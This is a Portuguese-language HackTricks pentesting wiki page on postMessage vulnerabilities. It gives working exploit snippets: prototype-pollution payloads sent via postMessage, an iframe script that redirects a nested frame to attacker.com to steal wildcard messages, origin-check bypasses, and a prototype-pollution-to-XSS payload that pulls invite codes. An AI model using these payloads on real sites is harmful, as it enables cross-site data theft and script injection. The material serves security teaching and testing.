hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

14 KiB

Vulnerabilidades do PostMessage

Vulnerabilidades do PostMessage

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Enviar PostMessage

O PostMessage usa a seguinte função para enviar uma mensagem:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Observe que targetOrigin pode ser um '*' ou uma URL como https://company.com.
No segundo cenário, a mensagem só pode ser enviada para esse domínio (mesmo que a origem do objeto da janela seja diferente).
Se o curinga for usado, mensagens podem ser enviadas para qualquer domínio, e serão enviadas para a origem do objeto da janela.

Atacando iframe e curinga em targetOrigin

Conforme explicado neste relatório, se você encontrar uma página que possa ser inserida em um iframe (sem proteção X-Frame-Header) e que esteja enviando mensagens sensíveis via postMessage usando um curinga (*), você pode modificar a origem do iframe e vazar a mensagem sensível para um domínio controlado por você.
Observe que se a página puder ser inserida em um iframe, mas o targetOrigin estiver definido como uma URL e não como um curinga, esse truque não funcionará.

<html>
   <iframe src="https://docs.google.com/document/ID" />
   <script>
      setTimeout(exp, 6000); //Wait 6s
      
      //Try to change the origin of the iframe each 100ms
      function exp(){
          setInterval(function(){ 
              window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
          }, 100);
      }
   </script>

Exploração do addEventListener

addEventListener é a função usada pelo JS para declarar a função que está esperando postMessages.
Um código semelhante ao seguinte será usado:

window.addEventListener("message", (event) => {
  if (event.origin !== "http://example.org:8080")
    return;

  // ...
}, false);

Observe neste caso como a primeira coisa que o código faz é verificar a origem. Isso é terrivelmente importante, principalmente se a página for fazer qualquer coisa sensível com as informações recebidas (como alterar uma senha). Se não verificar a origem, os atacantes podem fazer as vítimas enviarem dados arbitrários para esses endpoints e alterar as senhas das vítimas (neste exemplo).

Enumeração

Para encontrar ouvintes de eventos na página atual, você pode:

  • Procurar o código JS por window.addEventListener e $(window).on (versão JQuery)
  • Executar no console das ferramentas do desenvolvedor: getEventListeners(window)

  • Ir para Elementos --> Ouvintes de eventos nas ferramentas do desenvolvedor do navegador

Bypasses básicos de verificação de origem

  • Se indexOf() é usado para verificar a origem do evento PostMessage, lembre-se de que ele pode ser facilmente contornado como no exemplo a seguir: ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")\
  • Se search() é usado para validar a origem, pode ser inseguro. De acordo com a documentação de String.prototype.search(), o método recebe um objeto de expressão regular em vez de uma string. Se algo diferente de uma expressão regular for passado, ele será convertido implicitamente em uma expressão regular.
    Na expressão regular, um ponto (.) é tratado como um caractere curinga. Um atacante pode tirar proveito disso e usar um domínio especial em vez do oficial para contornar a validação, como em: "https://www.safedomain.com".search("www.s.fedomain.com").\
  • Se a função escapeHtml é usada, a função não cria um objeto escapado new, em vez disso, ela sobrescreve propriedades do objeto existente. Isso significa que, se pudermos criar um objeto com uma propriedade controlada que não responda a hasOwnProperty, ela não será escapada.
// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

O objeto File é perfeito para este exploit, pois ele tem uma propriedade somente leitura name que é usada pelo nosso modelo e irá contornar a função escapeHtml.

Contornando e.origin == window.origin

Quando uma página é incorporada em um iframe com sandbox via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">, a origem desse iframe será null.

Quando o valor do sandbox allow-popups é definido, então a popup aberta irá herdar todos os atributos sandbox a menos que allow-popups-to-escape-sandbox seja definido.
Portanto, abrir uma popup a partir de uma origem nula fará com que window.origin dentro da popup também seja null.

Portanto, se você abrir um iframe com sandbox permitindo popups e, em seguida, abrir uma popup de dentro do iframe e enviar uma postMessage do iframe para a popup, ambas as origens são nulas, então: e.origin == window.origin == null

Para mais informações, leia:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Contornando e.source

Você pode forçar o e.source de uma mensagem a ser nulo criando um iframe que envia a postMessage e é imediatamente excluído.

Para mais informações, leia:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

Contornando o cabeçalho X-Frame

Para realizar esses ataques, idealmente você será capaz de colocar a página da vítima dentro de um iframe. Mas alguns cabeçalhos como X-Frame-Header podem impedir esse comportamento.
Nesses cenários, você ainda pode usar um ataque menos furtivo. Você pode abrir uma nova guia para a aplicação web vulnerável e se comunicar com ela:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Roubo de mensagem enviada para filho bloqueando a página principal

Na página a seguir, você pode ver como pode roubar dados sensíveis de postmessage enviados para um iframe filho bloqueando a página principal antes de enviar os dados e abusando de um XSS no filho para vazar os dados antes que sejam recebidos:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Roubo de mensagem modificando a localização do iframe

Se você pode criar um iframe de uma página sem o cabeçalho X-Frame, que contém outro iframe, você pode alterar a localização do iframe filho, então, se ele estiver recebendo um postmessage enviado usando um curinga, um invasor poderia alterar a origem desse iframe para uma página controlada por ele e roubar a mensagem:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage para Prototype Pollution e/ou XSS

Em cenários em que os dados enviados por meio de postMessage são executados por JS, você pode criar um iframe na página e explorar a poluição de protótipo/XSS enviando a exploração via postMessage.

Alguns XSS muito bem explicados por meio de postMessage podem ser encontrados em https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Exemplo de uma exploração para abusar da poluição de protótipo e depois XSS por meio de um postMessage para um iframe:

<html>
<body>
    <iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
    <script>
        function get_code() {
            document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
            document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
        }

        setTimeout(get_code, 2000);
    </script>
</body>
</html>

Para mais informações:

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥